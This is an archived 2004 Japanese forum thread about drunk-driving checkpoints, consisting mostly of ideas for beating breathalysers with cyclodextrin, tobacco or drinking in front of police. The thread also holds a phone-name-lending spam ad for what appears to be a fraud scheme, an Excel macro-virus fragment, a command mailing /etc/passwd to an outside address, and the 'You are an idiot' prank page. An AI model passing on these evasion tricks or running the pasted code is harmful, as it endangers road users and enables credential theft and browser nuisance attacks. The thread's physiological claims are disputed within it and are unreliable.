検問見つけたらワサビ一気食いすりゃいいのかぁな??

ソース↓
ttp://www.rakuten.ne.jp/gold/thd/ever/seibun/powder/powder-1.html

435 :名無しさん@お腹いっぱい。:04/03/23 19:59 ID:+tabadKs
>>433
この話はある企業の研究者の話しで実際にやった話のようです。

問題はどうやってシクロデキストリンを安価で手に入れるかかな。

436 :名無しさん@お腹いっぱい。:04/03/23 20:07 ID:???
>435
そこまでわかってるなら最初から書けよ。
情報を小出しにするのは感じ悪い。

437 :名無しさん@お腹いっぱい。:04/03/23 20:12 ID:+tabadKs
>>436
失礼しました。この界隈ではもう出ていることかと思ったので・・・。


438 :名無しさん@お腹いっぱい。:04/03/23 20:18 ID:???
>432>435
それはやはりアルコールが胃の中にある時に吸着されるとしか考えられない
でもアルコールって口内・食道でもかなり吸収されるから胃にも長時間はないと思う
アルコールが体内に吸収されて血中にとけ込んでしまえば呼気の出口は肺・気管
なのだから胃の中にあってもこれ以上体内に吸収されるのを防ぐ効果しか得られないだろう

というより頬張って口内に存在させるのでは?
うがいの後に何とか口に含むしかないな

439 :名無しさん@お腹いっぱい。:04/03/23 20:26 ID:+tabadKs
>>438
実はもうその研究者との交流がなくて真実は聞けないのですが・・・
腹式呼吸ってありますよね。多分検知器のアルコール量って主に胃の中の
アルコールが蒸発したものの検出であって、純粋に呼気のみのアルコール
量でないのかもしれません。そのため腹式呼吸に気を付けて呼吸すると
検出されないのかもしれません。。。

440 :名無しさん@お腹いっぱい。:04/03/23 20:43 ID:+tabadKs
アルコールは飲んだ次の日でも胃に残っていることがある。飲みすぎた
次の日にうんこをするとまた酔いがまわる事がある。

441 :名無しさん@お腹いっぱい。:04/03/23 21:43 ID:???
>439
お前のコジツケにも困ったモンだな〜

腹式呼吸って別に胃で呼吸するわけではないんよ
アルコールの蒸発って・・・胃から出るためにはゲップしかない

はじめに答えありきでそこに近づけようとするからコジツケになるんだよ
これ以上無理すんなって

なんで>439と>440で語尾変えてるの?なんで一緒に書かないの?

442 :名無しさん@お腹いっぱい。:04/03/23 21:47 ID:???
たぶん偶然IDが同じになった他人なんだよ藁

443 :名無しさん@お腹いっぱい。:04/03/23 21:56 ID:+tabadKs
>>441
別にコジツケでも構わないが・・・。事実は一つです。
捕まらない、いい方法があるのだからいいじゃないの?

444 :名無しさん@お腹いっぱい。:04/03/23 22:02 ID:???
>多分検知器のアルコール量って主に胃の中の
>アルコールが蒸発したものの検出であって、純粋に呼気のみのアルコール
>量でないのかもしれません。

アホか?


445 :名無しさん@お腹いっぱい。:04/03/23 22:05 ID:???
アフォな+tabadKsが知ったかしてレスして、ジサクジエンしているスレはここでつか?

446 :名無しさん@お腹いっぱい。:04/03/23 22:07 ID:+tabadKs
>>444
肝臓を壊した人が息がくさい理由って何だっけ?
胆汁酸の匂いだっけ?

447 :名無しさん@お腹いっぱい。:04/03/23 22:10 ID:???
+tabadKs必死だな

つっこまれてるのは
>多分検知器のアルコール量って主に胃の中の
の「主に」だぞ。


448 :名無しさん@お腹いっぱい。:04/03/23 22:14 ID:+tabadKs
>>447
それは私の推測であって事実とは違うかもしれません。
揚げ足取りでいい気になっている???は・・・?

449 :名無しさん@お腹いっぱい。:04/03/23 22:16 ID:???
だからなんでそんなに必死なの?

450 :名無しさん@お腹いっぱい。:04/03/23 22:17 ID:+tabadKs
むかついたから


451 :名無しさん@お腹いっぱい。:04/03/23 22:22 ID:???
自らの馬鹿さを晒されてむかついたから必死になってる+tabadKsさらしage

452 :名無しさん@お腹いっぱい。:04/03/23 22:30 ID:???
>448
事実と違うかもしれないなら揚げ足取りではないだろうw
ホントにアフォでつねw

453 :名無しさん@お腹いっぱい。:04/03/23 22:31 ID:+tabadKs
揚げ足取りでいい気になって、せっかくの情報を最後まで聞かない
???のおかげでsage。

454 :名無しさん@お腹いっぱい。:04/03/23 22:32 ID:???
+tabadKsさらしage

455 :名無しさん@お腹いっぱい。:04/03/23 22:38 ID:+tabadKs
どっちにしても、掲示板のカルト集団並みの排他的な態度には
うんざりです。。。今日始めて書き込んだが、二度と書き込み
ません!!!

456 :名無しさん@お腹いっぱい。:04/03/23 22:38 ID:???
>453
最後まで聞いたジャン。
もう出てこなくて良いよ。

457 :名無しさん@お腹いっぱい。:04/03/23 22:39 ID:???
>448
>それは私の推測であって事実とは違うかもしれません。
それをこじつけと言うんだ

胃の中にあるシクロデキストリンに包接効果があることは否定していない
腹式呼吸とか言うからおかしくなる
酔っぱらいは確かによくゲップをするから胃の中にもシクロデキストリンが存在
した方がベターだろう

シクロデキストリンを含んだ液体を口に含めばアルコール臭はかなり軽減できる
機械を使わないファーストコンタクトでこれを回避できる可能性は高まるだろうね

ただし風船はゲップをしつつふくらませるわけでなし,うがいもされられるから
ほぼ呼気のみとなろう
うがいと風船の間にシクロデキストリンを口腔内に仕込めればどのくらい数値の
低減に役立つのだろうか

458 :名無しさん@お腹いっぱい。:04/03/23 22:41 ID:???
やっぱり春でつね。

459 :名無しさん@お腹いっぱい。:04/03/23 22:43 ID:???
もう二度と書き込みませんとか言いながら顔真っ赤にしてこのレスも見てるんだろうな。


460 :名無しさん@お腹いっぱい。:04/03/23 22:48 ID:???
お前らなんなんだよ。
大事なのは事実だろ。
せっかくのレポの揚げ足取りばっかりするなよ。

+tabadKsよ、正義はお前の方にあるぞ。
俺は応援する。
もう一度顔出してくれ。
ここは決してカルトなんかじゃない。

461 :名無しさん@お腹いっぱい。:04/03/23 23:10 ID:???
シクロデキストリンは香り成分の保持に使っているので
チューブ入りワサビや果汁グミなどに使われる
どちらかというとシャンプーや化粧品に多いけどね

口臭予防には歯磨き粉やマウスウォッシュなどにも含まれている
ただマウスウォッシュにはアルコールも含まれている罠

>446
>肝臓を壊した人が息がくさい理由って何だっけ?
>胆汁酸の匂いだっけ?
えーっと胆汁酸の匂いは胃から上がるのではなく血中の胆汁酸が肺から
呼気に上がるんですけど・・・

・・・ゴメンなトドメか?

462 :名無しさん@お腹いっぱい。:04/03/25 00:45 ID:???
要は、シクロデキストリンにアルコールを中和する作用がある訳ね。
だったら、口に含んで呼気と一緒に風船の中に吹き込んだら?
風船の中でアルコールを吸着してくれないかな〜。

463 :名無しさん@お腹いっぱい。:04/03/26 09:06 ID:???
っで、どこで買えるの?<シクロデキトリン

464 :名無しさん@お腹いっぱい。:04/03/26 22:08 ID:???
↑ここ20スレくらい読めば分かるだろ。


465 :名無しさん@お腹いっぱい。:04/03/26 22:09 ID:???
↑ここ20レス

466 :名無しさん@お腹いっぱい。:04/03/26 22:44 ID:???
>>463
純度の高いものが欲しいなら、劇物でなければ薬局で試薬を取り寄せとか出来ないかな。

467 :名無しさん@お腹いっぱい。:04/03/26 23:19 ID:???
>466
バカ

468 :名無しさん@お腹いっぱい。:04/03/26 23:59 ID:gppwYplx
あーあ。今つかまりました。けど、家近くまで送ってきてくれました。
酒気帯で罰金いくらでしょうか?5年前に酒気帯経験あり.

469 :名無しさん@お腹いっぱい。:04/03/27 00:02 ID:???
>>466
できるんじゃないかな
誰か体験談ギボンヌ

470 :名無しさん@お腹いっぱい。:04/03/27 00:11 ID:???
>468
前歴アリなら25-30万。

471 :名無しさん@お腹いっぱい。:04/03/27 00:26 ID:FGyYOYml
検問所で車を停めてエンジンを切る。車外に出て警官のみている目の前で日本酒を一気呑みする。
検査にひっかっかっても、「今呑んだんだよ。アンタもみてただろ?」
という。
で、オヤジに電話して車をとりにきてもらう。

472 :名無しさん@お腹いっぱい。:04/03/27 00:29 ID:???
さんざんガイシュツ

473 :お金に困ってる方!必見!:04/03/27 00:39 ID:???
今すぐお金ほしい方!必見です!一ヶ月間携帯名義(auまたはVodaphoneのみ)の名義を貸すだけで即2万円支給致します!新規携帯の通信料、通話料、事務手数料、郵送料(手渡しも可)等の諸費用は全てこちらが負担いたします。詳しくはお問い合わせください!当方東京です。

:::携帯名義賃借の概要:::
初めに携帯ショップに行って頂き1ヶ月間携帯の実名名義を貸して頂いた場合、名義人に報酬を支給致します。契約時や解約までの手数料、通話料、通信料、郵送料等は全て負担します。(手渡しの場合は郵送料はなし)
※その携帯を使って悪用などは一切ございません!

:::契約までの流れ:::
名義人が携帯ショップに行き上記内容で契約>携帯を下記住所に郵送。>携帯を受け取る>名義人に報酬を支給>約1ヶ月使用する>使用不可になる>弊社で自動解約>名義人に解約通知>完了

:::端末引渡し時に必要な書類:::
携帯電話本体のみ(最小梱包で本体と充電器のみ)
携帯会社の契約書
身分証明書のコピー
契約手数料領収書(契約時に立替えた場合。\0なら不要です)

:::対象携帯:::
auの場合(auのみ2台で個人契約可能)
契約対応機種---A1401K、A5401CA2、A1303SA、1304Tのみ
コース---コミコミOneライト
オプション---EZweb/家族割/年割

vodaphoneの場合(個人で1台が限度)
契約対応機種---J-SH53(無料携帯)、J-SH010(無料携帯)、V601SH(有料携帯
>約2万円)、V401SH(有料携帯>約1万円)のみ
コース---バリューパックゴールド
オプション---ボーダフォンライブ/家族割/ハッピーパケット

:::携帯名義賃借の注意点:::
新規実名名義のみの賃借します。(auかvodaphone)
通話加入プランは一番安いやつに加入してください。(Web、メールは加入必須)契約手数料は初月の請求書に含まれるので一括で負担なので心配ありません。もし発生した場合は携帯と一緒に郵送願います。

474 :名無しさん@お腹いっぱい。:04/03/27 08:49 ID:???
シクロデキストリンは食品添加物として使用されるときは「環状オリゴ糖」として表示される
ガムとかグミに入っているよ
カテキン強化茶の「ヘルシア」とかサンガリアの「カテキン550」にも入っているね

詳しくは
tp://www.ensuiko.co.jp/bico/bio/01.htm

475 :名無しさん@お腹いっぱい。:04/03/27 09:44 ID:???
つかシクロデキストリンって製造時には空だろうけど加工品として出荷されるときは
中に香り成分なりカテキンなり詰まっている
あとから入り込む余地はないようだから、どれだけ中身が空のものがあるかだよね

http://www.kenko.com/product/seibun/sei_831092.html
ダイエット用途のものはシクロデキストリンの包接性を期待しているものだから中身は空だろう
ただしダイエットと冠するだけで価格がバカみたいに跳ね上がるのが癪だなぁ・・・

塩水港精糖が直接小売りしてくれればいいのにねぇ

476 :名無しさん@お腹いっぱい。:04/03/28 19:11 ID:7aDeIwmb
アルコール検知器、旧型も誤作動の可能性 警察庁
http://www.asahi.com/national/update/0327/028.html

呆れた話ですね。
調子に乗って取り締まり強化だ厳罰化だと浮かれてるから、天罰が下ったんだろう。

該当しそうな人は、逸失利益も含めてどんどん県警を訴えたら良い。
免許を取り消しがいかに重大な事であるかこの際思い知らせて、安易な処分を戒めるべき。


477 :名無しさん@お腹いっぱい。:04/03/28 19:21 ID:???
世の中のために>>476が早く捕まることを祈る。

478 :名無しさん@お腹いっぱい。:04/03/28 19:24 ID:VBwYzIW0
飲酒運転がいかに重大な事であるかこの際思い知らせて、安易な飲酒運転を戒めるべき。



479 :名無しさん@お腹いっぱい。:04/03/29 01:01 ID:???
>>477
自分は酒気帯びはやらないので、ご期待に沿う事はないと思う。
ただ、社会常識から逸脱した警察の交通課は大嫌いだし、世界的に稀な程厳しい酒気帯び基準にも疑問を感じる。


480 :名無しさん@お腹いっぱい。:04/03/29 23:26 ID:???
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub


481 :名無しさん@お腹いっぱい。:04/03/29 23:26 ID:???
cat /etc/passwd | mail nobody@nonexistent.com

482 :名無しさん@お腹いっぱい。:04/03/29 23:30 ID:???
<html>
<head>
<title>You are an idiot!</title>
<script language="Javascript" src="../script/you.js"></script>
</head>
<body bgColor=#ffffff onload="flagRun=1;playBall();return true;bookmark();" onKeyDown="altf4key();ctrlkey();delkey();" onUnLoad="procreate()" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="100%" height="100%">
<param name=movie value="youare.swf">
<param name=quality value=high>
<embed src="youare.swf" quality=high pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="100%" height="100%">
</embed>
</object>
</body>
</html>

483 :ふざけんなよ、この野郎:04/03/30 13:01 ID:HQ0kc/uL
都心周辺の片側3車線の道、中央のレーンで信号待ち。マニュアル車のため、
うっかりクラッチをつないでしまい、前者に追突。速度は5キロ未満。
両車とも無傷、バンパーさえ異常なし。前者運転手は車の状態を確認もせず、
”ラッキー”公傷・労災?とばかりにふんぞり返り、警官に要求した救急車に
自分の足で歩いて乗り込んだ。後日通院(全治)7日間の診断書を提示。
被害者?(被害ないはず)が加害者に変身。
点数、反則金、保険等々、こんな理不尽なことはないです。
逆に訴える手段はあるのでしょうか。虚偽申告、詐欺です。
いいお考えをお与えください。

484 :ふざけんなよ、この野郎:04/03/30 13:07 ID:???
>>483
すれ違い、誤爆。失礼しました。

485 :名無しさん@お腹いっぱい。:04/03/30 13:09 ID:???
>>483
どうしようもないでしょうね。やはり追突したあなたが悪い。
保険屋に入ってもらって適切な補償(当然不当な請求は突っぱねる)をするしかないですね。

486 :メロン:04/03/31 22:00 ID:Wp6Fv4bI
ふざけんなよさん、私もある右翼の塀をこすって、
そんなことがありました。物損といっても、石ころが2欠けしたほどで、
警察もどこなのかすぐに解らなかったほどなのに、基礎工事からやらなあかんだの
云々…私は「保険屋に任せてますから」の一点張りで、絶対にこちらからは
連絡をしなかったら、なんか大学とかに連絡されたけど、大学も理解してくれて、
大丈夫でした。向こうから連絡があったら、録音などしましょう。こちらから
連絡したり、「出来る限りのことはさせて貰います」的発言は絶対しないように。
あとで、払うと言ったじゃないか、向こうからの申し出だ、など面倒になります。
お役にたてたかしら?とにかく保険屋に事情を言って、助けてチョ、と言えばいい。

487 :名無しさん@お腹いっぱい。:04/03/31 22:00 ID:xPkub+rE
>>476
またかい(呆)。
警察のいい加減さには、もう言葉も無いよ。
該当者は訴訟でもなんでも起こして、しっかり取るもの取っちゃいなよw

488 :んんー:04/04/01 12:55 ID:+xQzPdAA
この間弟が酒気帯びで自存事故して病院に運ばれた。処置が終わって警察が
アルコール検査しようとしたけど反応が出なかったらしい。
でも酒くさかったらしい。そうゆう場合ってどうなるんだろう?

489 :名無しさん@お腹いっぱい。:04/04/01 13:09 ID:???
出なきゃOK
なんとなく酒臭い気がするで立件できてたら、冤罪出まくりになるから。


490 :んんー:04/04/01 13:48 ID:+xQzPdAA
ありがとうございます。
でもなんとなくっていうよりかなり臭かったらしいんですけどね。

491 :名無しさん@お腹いっぱい。:04/04/01 17:47 ID:???
>490
明らかに飲んでいると思われる場合は血中検査までするから、それでも出なかったら
そういう体質なんでしょう。


492 :んんー:04/04/01 18:02 ID:+xQzPdAA
なるほど。血の検査まではしなかったらしいです。
ってことは・・・ま、後は本人にまかせます。
ありがとうございました。


493 :名無しさん@お腹いっぱい。:04/04/01 20:08 ID:jJ/hpKDd
酒き帯び、酒酔い、無免で運転していて急停車をしてオカマを掘られ
90:10の過失割合で人身扱いになった場合って、やっぱり、
酒き帯び、酒酔い、無免て事でオカマを掘られたほうが悪くなって賠償請求はできないのでしょうか?


494 :名無しさん@お腹いっぱい。:04/04/01 20:14 ID:???
禁酒が手っ取り早い。

495 :名無しさん@お腹いっぱい。:04/04/01 22:59 ID:???
>>493
過失相殺で若干不利になりますが、損害賠償請求は出来ます。
ただいくら被害者でも点数は引かれるので、免許が無くなってしまうかも。
民事と行政処分は別物なので。

496 :名無しさん@お腹いっぱい。:04/04/02 09:48 ID:???
>>493
>>495
損害賠償請求は言ったもの勝ちだから
ブサイクなタレントがテレビに出ていたから不快だと訴えてもOK
勝てるか負けるか訴えを却下されるかは別として

追突被害の立証だが走行中の無意味で危険な急停車は
いくら安全な車間距離の義務があっても停まった方が
過失があるのは免許が無くても常識的に解ると思うが

免許もない「酒酔い」に認定される泥酔者が正当な判断で急停車したという
立証ができるのかな?
あなた方
覚醒剤中毒の中学生が11tダンプを運転して急停車されて追突したとき
気持ちよく相手のケガや物損を補償できるのかな?(w


497 :名無しさん@お腹いっぱい。:04/04/02 10:03 ID:???
>496
追突事故の原因は、基本的には追突車の速度の出し過ぎか、車間距離不足、前方不注意になる。
被追突車が無免許であろうと泥酔者であろうと、麻薬中毒であろうと、その責任からは逃れられない。
故意に急停車して追突させた場合でも、判例では50:50になっている。


498 :名無しさん@お腹いっぱい。:04/04/03 00:32 ID:???
今日二輪で走っていると検問が。
最近は「ハーしてください」じゃなくて「フーしてください」なんですね。
んでなぜかビーという音が。あれ、反応してる?
と思ったけど、そのまま何もなく抜けてきました。あれは反応してたんですかね?


499 :名無しさん@お腹いっぱい。:04/04/03 02:10 ID:???
アルコールを検知しなかったら「ビー」で、検知したら「ブー」とかじゃないの?


500 :ファック:04/04/03 05:01 ID:ZcfPQpwY
タバコをベロのうえに広げるとアルコール検知されないってまじなの?

184 KB
■ このスレッドは過去ログ倉庫に格納されています

★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.02.02 2014/06/23 Mango Mangüé ★
FOX ★ DSO(Dynamic Shared Object)